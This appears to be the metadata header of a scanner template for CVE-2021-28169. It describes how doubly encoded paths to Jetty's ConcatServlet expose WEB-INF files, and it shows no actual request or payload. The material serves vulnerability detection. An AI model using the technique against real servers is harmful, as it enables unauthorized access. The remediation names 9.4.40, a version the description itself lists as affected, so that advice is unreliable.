id: CVE-2021-28169

info:
  name: Eclipse Jetty ConcatServlet - Information Disclosure
  author: pikpikcu
  severity: medium
  description: |
    Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure.  Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Upgrade to Eclipse Jetty version 9.4.40 or later to mitigate this vulnerability.
